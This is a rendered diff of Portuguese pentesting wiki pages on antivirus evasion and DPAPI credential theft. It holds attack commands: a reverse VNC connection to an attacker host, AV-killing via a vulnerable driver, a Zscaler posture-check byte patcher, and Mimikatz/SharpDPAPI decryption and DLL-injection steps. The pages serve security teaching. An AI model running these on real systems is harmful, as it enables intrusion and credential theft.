Você pode usar [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) que **removerá partes do binário** até que **descubra qual parte o Defender** está considerando maliciosa e dividirá para você.\
 | 
					Você pode usar [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) que **removerá partes do binário** até que **descubra qual parte o Defender** está considerando maliciosa e dividirá para você.\
 | 
				
			||||||
Outra ferramenta que faz **a mesma coisa é** [**avred**](https://github.com/dobin/avred) com um serviço web aberto oferecendo o serviço em [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
 | 
					Outra ferramenta que faz **a mesma coisa é** [**avred**](https://github.com/dobin/avred) com um site aberto oferecendo o serviço em [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### **Servidor Telnet**
 | 
					### **Servidor Telnet**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -395,17 +395,17 @@ netsh advfirewall set allprofiles state off
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
Baixe-o de: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (você quer os downloads binários, não a instalação)
 | 
					Baixe-o de: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (você quer os downloads binários, não a instalação)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
**NO HOST**: Execute _**winvnc.exe**_ e configure o servidor:
 | 
					**NA MÁQUINA HOST**: Execute _**winvnc.exe**_ e configure o servidor:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- Ative a opção _Disable TrayIcon_
 | 
					- Ative a opção _Disable TrayIcon_
 | 
				
			||||||
- Defina uma senha em _VNC Password_
 | 
					- Defina uma senha em _VNC Password_
 | 
				
			||||||
- Defina uma senha em _View-Only Password_
 | 
					- Defina uma senha em _View-Only Password_
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Em seguida, mova o binário _**winvnc.exe**_ e o arquivo **novo** criado _**UltraVNC.ini**_ dentro da **vítima**
 | 
					Em seguida, mova o binário _**winvnc.exe**_ e o arquivo **recém** criado _**UltraVNC.ini**_ para dentro da **vítima**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
#### **Conexão reversa**
 | 
					#### **Conexão reversa**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
O **atacante** deve **executar dentro** de seu **host** o binário `vncviewer.exe -listen 5900` para que esteja **preparado** para capturar uma **conexão VNC** reversa. Então, dentro da **vítima**: Inicie o daemon winvnc `winvnc.exe -run` e execute `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
 | 
					O **atacante** deve **executar dentro** de seu **host** o binário `vncviewer.exe -listen 5900` para que esteja **preparado** para capturar uma **conexão VNC reversa**. Então, dentro da **vítima**: Inicie o daemon winvnc `winvnc.exe -run` e execute `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
**AVISO:** Para manter a furtividade, você não deve fazer algumas coisas
 | 
					**AVISO:** Para manter a furtividade, você não deve fazer algumas coisas
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -530,10 +530,6 @@ catch (Exception err) { }
 | 
				
			|||||||
```
 | 
					```
 | 
				
			||||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
 | 
					C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
Download e execução automáticos:
 | 
					Download e execução automáticos:
 | 
				
			||||||
```csharp
 | 
					```csharp
 | 
				
			||||||
64bit:
 | 
					64bit:
 | 
				
			||||||
@ -596,10 +592,10 @@ https://github.com/praetorian-code/vulcan
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
## Traga Seu Próprio Driver Vulnerável (BYOVD) – Eliminando AV/EDR do Espaço do Kernel
 | 
					## Traga Seu Próprio Driver Vulnerável (BYOVD) – Eliminando AV/EDR do Espaço do Kernel
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Storm-2603 aproveitou uma pequena utilidade de console conhecida como **Antivirus Terminator** para desativar as proteções de endpoint antes de liberar ransomware. A ferramenta traz seu **próprio driver vulnerável, mas *assinado*** e o abusa para emitir operações privilegiadas do kernel que até mesmo os serviços AV Protected-Process-Light (PPL) não conseguem bloquear.
 | 
					Storm-2603 aproveitou uma pequena utilidade de console conhecida como **Antivirus Terminator** para desativar as proteções de endpoint antes de implantar ransomware. A ferramenta traz seu **próprio driver vulnerável, mas *assinado*** e o abusa para emitir operações privilegiadas do kernel que até mesmo os serviços AV Protected-Process-Light (PPL) não conseguem bloquear.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Principais conclusões
 | 
					Principais conclusões
 | 
				
			||||||
1. **Driver assinado**: O arquivo entregue ao disco é `ServiceMouse.sys`, mas o binário é o driver legitimamente assinado `AToolsKrnl64.sys` do “System In-Depth Analysis Toolkit” da Antiy Labs. Como o driver possui uma assinatura válida da Microsoft, ele é carregado mesmo quando a Aplicação de Reforço de Assinatura de Driver (DSE) está habilitada.
 | 
					1. **Driver assinado**: O arquivo entregue ao disco é `ServiceMouse.sys`, mas o binário é o driver legitimamente assinado `AToolsKrnl64.sys` do “System In-Depth Analysis Toolkit” da Antiy Labs. Como o driver possui uma assinatura válida da Microsoft, ele carrega mesmo quando a Driver-Signature-Enforcement (DSE) está habilitada.
 | 
				
			||||||
2. **Instalação do serviço**:
 | 
					2. **Instalação do serviço**:
 | 
				
			||||||
```powershell
 | 
					```powershell
 | 
				
			||||||
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
 | 
					sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
 | 
				
			||||||
@ -625,14 +621,54 @@ CloseHandle(hDrv);
 | 
				
			|||||||
return 0;
 | 
					return 0;
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
4. **Por que funciona**: O BYOVD ignora completamente as proteções em modo de usuário; o código que é executado no kernel pode abrir processos *protegidos*, terminá-los ou manipular objetos do kernel independentemente de PPL/PP, ELAM ou outras características de reforço.
 | 
					4. **Por que funciona**: O BYOVD ignora completamente as proteções em modo de usuário; o código que é executado no kernel pode abrir processos *protegidos*, terminá-los ou manipular objetos do kernel independentemente de PPL/PP, ELAM ou outros recursos de endurecimento.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Detecção / Mitigação
 | 
					Detecção / Mitigação
 | 
				
			||||||
•  Ative a lista de bloqueio de drivers vulneráveis da Microsoft (`HVCI`, `Smart App Control`) para que o Windows se recuse a carregar `AToolsKrnl64.sys`.
 | 
					•  Habilite a lista de bloqueio de drivers vulneráveis da Microsoft (`HVCI`, `Smart App Control`) para que o Windows se recuse a carregar `AToolsKrnl64.sys`.
 | 
				
			||||||
•  Monitore a criação de novos serviços *de kernel* e alerte quando um driver for carregado de um diretório gravável por qualquer um ou não estiver presente na lista de permissões.
 | 
					•  Monitore a criação de novos serviços *de kernel* e alerte quando um driver for carregado de um diretório gravável por qualquer um ou não estiver presente na lista de permissões.
 | 
				
			||||||
•  Fique atento a handles em modo de usuário para objetos de dispositivo personalizados seguidos por chamadas suspeitas de `DeviceIoControl`.
 | 
					•  Fique atento a handles em modo de usuário para objetos de dispositivo personalizados seguidos por chamadas suspeitas de `DeviceIoControl`.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Contornando Verificações de Postura do Zscaler Client Connector via Patch de Binário em Disco
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					O **Client Connector** da Zscaler aplica regras de postura de dispositivo localmente e depende do RPC do Windows para comunicar os resultados a outros componentes. Duas escolhas de design fracas tornam um contorno completo possível:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					1. A avaliação de postura acontece **totalmente do lado do cliente** (um booleano é enviado ao servidor).
 | 
				
			||||||
 | 
					2. Os endpoints internos de RPC apenas validam se o executável conectado é **assinado pela Zscaler** (via `WinVerifyTrust`).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Ao **patchar quatro binários assinados em disco**, ambos os mecanismos podem ser neutralizados:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					| Binário | Lógica original patchada | Resultado |
 | 
				
			||||||
 | 
					|--------|------------------------|---------|
 | 
				
			||||||
 | 
					| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Sempre retorna `1`, então cada verificação é compatível |
 | 
				
			||||||
 | 
					| `ZSAService.exe` | Chamada indireta para `WinVerifyTrust` | NOP-ed ⇒ qualquer processo (mesmo não assinado) pode se conectar aos pipes RPC |
 | 
				
			||||||
 | 
					| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Substituído por `mov eax,1 ; ret` |
 | 
				
			||||||
 | 
					| `ZSATunnel.exe` | Verificações de integridade no túnel | Curto-circuitado |
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Trecho do patcher mínimo:
 | 
				
			||||||
 | 
					```python
 | 
				
			||||||
 | 
					pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
 | 
				
			||||||
 | 
					replacement = bytes.fromhex("C6 84 24 80 02 00 00 01")  # force result = 1
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					with open("ZSATrayManager.exe", "r+b") as f:
 | 
				
			||||||
 | 
					data = f.read()
 | 
				
			||||||
 | 
					off = data.find(pattern)
 | 
				
			||||||
 | 
					if off == -1:
 | 
				
			||||||
 | 
					print("pattern not found")
 | 
				
			||||||
 | 
					else:
 | 
				
			||||||
 | 
					f.seek(off)
 | 
				
			||||||
 | 
					f.write(replacement)
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					Após substituir os arquivos originais e reiniciar a pilha de serviços:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* **Todos** os cheques de postura exibem **verde/compatível**.
 | 
				
			||||||
 | 
					* Binários não assinados ou modificados podem abrir os pontos finais de RPC de named-pipe (por exemplo, `\\RPC Control\\ZSATrayManager_talk_to_me`).
 | 
				
			||||||
 | 
					* O host comprometido ganha acesso irrestrito à rede interna definida pelas políticas do Zscaler.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Este estudo de caso demonstra como decisões de confiança puramente do lado do cliente e verificações de assinatura simples podem ser derrotadas com alguns patches de byte.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Referências
 | 
					## Referências
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
 | 
					- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
 | 
				
			||||||
{{#include ../banners/hacktricks-training.md}}
 | 
					{{#include ../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
				
			|||||||
@ -21,18 +21,18 @@ Isso é especialmente interessante porque, se um atacante conseguir obter o hash
 | 
				
			|||||||
- **Descriptografar qualquer dado que foi criptografado usando DPAPI** com a chave desse usuário sem precisar contatar nenhuma API
 | 
					- **Descriptografar qualquer dado que foi criptografado usando DPAPI** com a chave desse usuário sem precisar contatar nenhuma API
 | 
				
			||||||
- Tentar **quebrar a senha** offline tentando gerar a chave DPAPI válida
 | 
					- Tentar **quebrar a senha** offline tentando gerar a chave DPAPI válida
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Além disso, toda vez que algum dado é criptografado por um usuário usando DPAPI, uma nova **chave mestra** é gerada. Essa chave mestra é a que realmente é usada para criptografar dados. Cada chave mestra é fornecida com um **GUID** (Identificador Único Global) que a identifica.
 | 
					Além disso, toda vez que algum dado é criptografado por um usuário usando DPAPI, uma nova **chave mestre** é gerada. Essa chave mestre é a que realmente é usada para criptografar dados. Cada chave mestre é fornecida com um **GUID** (Identificador Único Global) que a identifica.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
As chaves mestras são armazenadas no diretório **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`**, onde `{SID}` é o Identificador de Segurança desse usuário. A chave mestra é armazenada criptografada pela **`pre-key`** do usuário e também por uma **chave de backup de domínio** para recuperação (portanto, a mesma chave é armazenada criptografada 2 vezes por 2 senhas diferentes).
 | 
					As chaves mestres são armazenadas no diretório **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`**, onde `{SID}` é o Identificador de Segurança desse usuário. A chave mestre é armazenada criptografada pela **`pre-key`** do usuário e também por uma **chave de backup de domínio** para recuperação (portanto, a mesma chave é armazenada criptografada 2 vezes por 2 senhas diferentes).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Observe que a **chave de domínio usada para criptografar a chave mestra está nos controladores de domínio e nunca muda**, então, se um atacante tiver acesso ao controlador de domínio, ele pode recuperar a chave de backup de domínio e descriptografar as chaves mestras de todos os usuários no domínio.
 | 
					Observe que a **chave de domínio usada para criptografar a chave mestre está nos controladores de domínio e nunca muda**, então, se um atacante tiver acesso ao controlador de domínio, ele pode recuperar a chave de backup de domínio e descriptografar as chaves mestres de todos os usuários no domínio.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Os blobs criptografados contêm o **GUID da chave mestra** que foi usada para criptografar os dados dentro de seus cabeçalhos.
 | 
					Os blobs criptografados contêm o **GUID da chave mestre** que foi usada para criptografar os dados dentro de seus cabeçalhos.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
> [!TIP]
 | 
					> [!TIP]
 | 
				
			||||||
> Blobs criptografados pelo DPAPI começam com **`01 00 00 00`**
 | 
					> Blobs criptografados pelo DPAPI começam com **`01 00 00 00`**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Encontrar chaves mestras:
 | 
					Encontrar chaves mestres:
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
 | 
					Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
 | 
				
			||||||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
 | 
					Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
 | 
				
			||||||
@ -49,7 +49,7 @@ Isto é como um conjunto de Chaves Mestras de um usuário se parecerá:
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
Esta é a chave usada para a máquina criptografar dados. É baseada no **DPAPI_SYSTEM LSA secret**, que é uma chave especial que apenas o usuário SYSTEM pode acessar. Esta chave é usada para criptografar dados que precisam ser acessíveis pelo próprio sistema, como credenciais em nível de máquina ou segredos em todo o sistema.
 | 
					Esta é a chave usada para a máquina criptografar dados. É baseada no **DPAPI_SYSTEM LSA secret**, que é uma chave especial que apenas o usuário SYSTEM pode acessar. Esta chave é usada para criptografar dados que precisam ser acessíveis pelo próprio sistema, como credenciais em nível de máquina ou segredos em todo o sistema.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Note que essas chaves **não têm um backup de domínio**, portanto, são acessíveis apenas localmente:
 | 
					Note que essas chaves **não têm um backup de domínio**, então são acessíveis apenas localmente:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- **Mimikatz** pode acessá-la despejando segredos LSA usando o comando: `mimikatz lsadump::secrets`
 | 
					- **Mimikatz** pode acessá-la despejando segredos LSA usando o comando: `mimikatz lsadump::secrets`
 | 
				
			||||||
- O segredo é armazenado dentro do registro, então um administrador poderia **modificar as permissões DACL para acessá-lo**. O caminho do registro é: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
 | 
					- O segredo é armazenado dentro do registro, então um administrador poderia **modificar as permissões DACL para acessá-lo**. O caminho do registro é: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
 | 
				
			||||||
@ -134,7 +134,7 @@ dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
 | 
				
			|||||||
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
 | 
					Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
 | 
				
			||||||
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
 | 
					Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) pode encontrar blobs criptografados DPAPI no sistema de arquivos, registro e blobs B64:
 | 
					[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) pode encontrar blobs criptografados pelo DPAPI no sistema de arquivos, registro e blobs B64:
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
# Search blobs in the registry
 | 
					# Search blobs in the registry
 | 
				
			||||||
search /type:registry [/path:HKLM] # Search complete registry by default
 | 
					search /type:registry [/path:HKLM] # Search complete registry by default
 | 
				
			||||||
@ -182,7 +182,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
 | 
				
			|||||||
# SharpDPAPI
 | 
					# SharpDPAPI
 | 
				
			||||||
SharpDPAPI.exe masterkeys /rpc
 | 
					SharpDPAPI.exe masterkeys /rpc
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
A ferramenta **SharpDPAPI** também suporta esses argumentos para a descriptografia da chave mestra (note como é possível usar `/rpc` para obter a chave de backup do domínio, `/password` para usar uma senha em texto simples, ou `/pvk` para especificar um arquivo de chave privada do domínio DPAPI...):
 | 
					A ferramenta **SharpDPAPI** também suporta esses argumentos para decriptação de masterkey (note como é possível usar `/rpc` para obter a chave de backup do domínio, `/password` para usar uma senha em texto simples, ou `/pvk` para especificar um arquivo de chave privada do domínio DPAPI...):
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
/target:FILE/folder     -   triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
 | 
					/target:FILE/folder     -   triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
 | 
				
			||||||
/pvk:BASE64...          -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
 | 
					/pvk:BASE64...          -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
 | 
				
			||||||
@ -202,7 +202,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
 | 
				
			|||||||
# SharpDPAPI
 | 
					# SharpDPAPI
 | 
				
			||||||
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
 | 
					SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
A ferramenta **SharpDPAPI** também suporta esses argumentos para a decriptação de `credentials|vaults|rdg|keepass|triage|blob|ps` (note como é possível usar `/rpc` para obter a chave de backup dos domínios, `/password` para usar uma senha em texto simples, `/pvk` para especificar um arquivo de chave privada do domínio DPAPI, `/unprotect` para usar a sessão do usuário atual...):
 | 
					A ferramenta **SharpDPAPI** também suporta esses argumentos para a descriptografia de `credentials|vaults|rdg|keepass|triage|blob|ps` (note como é possível usar `/rpc` para obter a chave de backup dos domínios, `/password` para usar uma senha em texto simples, `/pvk` para especificar um arquivo de chave privada do domínio DPAPI, `/unprotect` para usar a sessão do usuário atual...):
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Decryption:
 | 
					Decryption:
 | 
				
			||||||
/unprotect          -   force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
 | 
					/unprotect          -   force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
 | 
				
			||||||
@ -232,9 +232,9 @@ SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
 | 
				
			|||||||
---
 | 
					---
 | 
				
			||||||
### Manipulando Entropia Opcional ("Entropia de terceiros")
 | 
					### Manipulando Entropia Opcional ("Entropia de terceiros")
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Alguns aplicativos passam um valor adicional de **entropia** para `CryptProtectData`. Sem esse valor, o blob não pode ser descriptografado, mesmo que a chave mestra correta seja conhecida. Obter a entropia é, portanto, essencial ao direcionar credenciais protegidas dessa forma (por exemplo, Microsoft Outlook, alguns clientes VPN).
 | 
					Alguns aplicativos passam um valor adicional de **entropia** para `CryptProtectData`. Sem esse valor, o blob não pode ser descriptografado, mesmo que a chave mestra correta seja conhecida. Portanto, obter a entropia é essencial ao direcionar credenciais protegidas dessa forma (por exemplo, Microsoft Outlook, alguns clientes VPN).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) é uma DLL em modo de usuário que intercepta as funções DPAPI dentro do processo alvo e registra de forma transparente qualquer entropia opcional que seja fornecida. Executar o EntropyCapture em modo **DLL-injection** contra processos como `outlook.exe` ou `vpnclient.exe` gerará um arquivo mapeando cada buffer de entropia para o processo chamador e o blob. A entropia capturada pode ser fornecida posteriormente ao **SharpDPAPI** (`/entropy:`) ou **Mimikatz** (`/entropy:<file>`) para descriptografar os dados.
 | 
					[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) é uma DLL em modo de usuário que intercepta as funções DPAPI dentro do processo alvo e registra de forma transparente qualquer entropia opcional que seja fornecida. Executar o EntropyCapture em modo **DLL-injection** contra processos como `outlook.exe` ou `vpnclient.exe` gerará um arquivo mapeando cada buffer de entropia para o processo chamador e o blob. A entropia capturada pode ser posteriormente fornecida ao **SharpDPAPI** (`/entropy:`) ou **Mimikatz** (`/entropy:<file>`) para descriptografar os dados.
 | 
				
			||||||
```powershell
 | 
					```powershell
 | 
				
			||||||
# Inject EntropyCapture into the current user's Outlook
 | 
					# Inject EntropyCapture into the current user's Outlook
 | 
				
			||||||
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
 | 
					InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
 | 
				
			||||||
@ -256,7 +256,7 @@ A ferramenta também pode analisar blobs de Credenciais e Cofres, descriptograf
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
### Acessar dados de outra máquina
 | 
					### Acessar dados de outra máquina
 | 
				
			||||||
 | 
					
 | 
				
			||||||
No **SharpDPAPI e SharpChrome**, você pode indicar a opção **`/server:HOST`** para acessar os dados de uma máquina remota. Claro que você precisa ser capaz de acessar essa máquina e no exemplo a seguir supõe-se que a **chave de criptografia de backup do domínio é conhecida**:
 | 
					No **SharpDPAPI e SharpChrome** você pode indicar a opção **`/server:HOST`** para acessar os dados de uma máquina remota. Claro que você precisa ser capaz de acessar essa máquina e no exemplo a seguir supõe-se que a **chave de criptografia de backup do domínio é conhecida**:
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
 | 
					SharpDPAPI.exe triage /server:HOST /pvk:BASE64
 | 
				
			||||||
SharpChrome cookies /server:HOST /pvk:BASE64
 | 
					SharpChrome cookies /server:HOST /pvk:BASE64
 | 
				
			||||||
@ -269,7 +269,7 @@ SharpChrome cookies /server:HOST /pvk:BASE64
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
 | 
					`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Com a lista de computadores extraída do LDAP, você pode encontrar cada sub-rede, mesmo que não soubesse delas!
 | 
					Com a lista de computadores extraída do LDAP, você pode encontrar toda sub-rede mesmo que não soubesse delas!
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### DonPAPI 2.x (2024-05)
 | 
					### DonPAPI 2.x (2024-05)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -282,7 +282,7 @@ Com a lista de computadores extraída do LDAP, você pode encontrar cada sub-red
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
### DPAPISnoop
 | 
					### DPAPISnoop
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) é um parser em C# para arquivos de masterkey/credential/vault que pode gerar formatos Hashcat/JtR e, opcionalmente, invocar o cracking automaticamente. Ele suporta totalmente os formatos de masterkey de máquina e usuário até o Windows 11 24H1.
 | 
					[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) é um parser C# para arquivos de masterkey/credential/vault que pode gerar formatos Hashcat/JtR e opcionalmente invocar cracking automaticamente. Ele suporta totalmente os formatos de masterkey de máquina e usuário até o Windows 11 24H1.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Detecções comuns
 | 
					## Detecções comuns
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -290,16 +290,52 @@ Com a lista de computadores extraída do LDAP, você pode encontrar cada sub-red
 | 
				
			|||||||
- Especialmente a partir de um compartilhamento de rede como **C$** ou **ADMIN$**.
 | 
					- Especialmente a partir de um compartilhamento de rede como **C$** ou **ADMIN$**.
 | 
				
			||||||
- Uso de **Mimikatz**, **SharpDPAPI** ou ferramentas similares para acessar a memória do LSASS ou despejar masterkeys.
 | 
					- Uso de **Mimikatz**, **SharpDPAPI** ou ferramentas similares para acessar a memória do LSASS ou despejar masterkeys.
 | 
				
			||||||
- Evento **4662**: *Uma operação foi realizada em um objeto* – pode ser correlacionado com o acesso ao objeto **`BCKUPKEY`**.
 | 
					- Evento **4662**: *Uma operação foi realizada em um objeto* – pode ser correlacionado com o acesso ao objeto **`BCKUPKEY`**.
 | 
				
			||||||
- Evento **4673/4674** quando um processo solicita *SeTrustedCredManAccessPrivilege* (Credential Manager)
 | 
					- Evento **4673/4674** quando um processo solicita *SeTrustedCredManAccessPrivilege* (Gerenciador de Credenciais)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
---
 | 
					---
 | 
				
			||||||
### Vulnerabilidades de 2023-2025 e mudanças no ecossistema
 | 
					### Vulnerabilidades de 2023-2025 e mudanças no ecossistema
 | 
				
			||||||
 | 
					
 | 
				
			||||||
* **CVE-2023-36004 – Spoofing de Canal Seguro do Windows DPAPI** (Novembro de 2023). Um atacante com acesso à rede poderia enganar um membro do domínio para recuperar uma chave de backup DPAPI maliciosa, permitindo a descriptografia de masterkeys de usuário. Corrigido na atualização cumulativa de novembro de 2023 – os administradores devem garantir que os DCs e estações de trabalho estejam totalmente corrigidos.
 | 
					* **CVE-2023-36004 – Spoofing de Canal Seguro do Windows DPAPI** (Novembro de 2023). Um atacante com acesso à rede poderia enganar um membro do domínio para recuperar uma chave de backup DPAPI maliciosa, permitindo a descriptografia de masterkeys de usuário. Corrigido na atualização cumulativa de novembro de 2023 – os administradores devem garantir que os DCs e estações de trabalho estejam totalmente corrigidos.
 | 
				
			||||||
* **Criptografia de cookie "App-Bound" do Chrome 127** (Julho de 2024) substituiu a proteção DPAPI apenas legada por uma chave adicional armazenada sob o **Credential Manager** do usuário. A descriptografia offline de cookies agora requer tanto a masterkey DPAPI quanto a **chave app-bound envolta em GCM**. SharpChrome v2.3 e DonPAPI 2.x são capazes de recuperar a chave extra ao serem executados com o contexto do usuário.
 | 
					* **Criptografia de cookie "App-Bound" do Chrome 127** (Julho de 2024) substituiu a proteção DPAPI apenas legada por uma chave adicional armazenada sob o **Gerenciador de Credenciais** do usuário. A descriptografia offline de cookies agora requer tanto a masterkey DPAPI quanto a **chave app-bound envolta em GCM**. SharpChrome v2.3 e DonPAPI 2.x são capazes de recuperar a chave extra ao serem executados com o contexto do usuário.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Estudo de Caso: Zscaler Client Connector – Entropia Personalizada Derivada do SID
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Zscaler Client Connector armazena vários arquivos de configuração em `C:\ProgramData\Zscaler` (por exemplo, `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Cada arquivo é criptografado com **DPAPI (escopo da máquina)**, mas o fornecedor fornece **entropia personalizada** que é *calculada em tempo de execução* em vez de ser armazenada no disco.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					A entropia é reconstruída a partir de dois elementos:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					1. Um segredo codificado embutido dentro de `ZSACredentialProvider.dll`.
 | 
				
			||||||
 | 
					2. O **SID** da conta do Windows à qual a configuração pertence.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					O algoritmo implementado pela DLL é equivalente a:
 | 
				
			||||||
 | 
					```csharp
 | 
				
			||||||
 | 
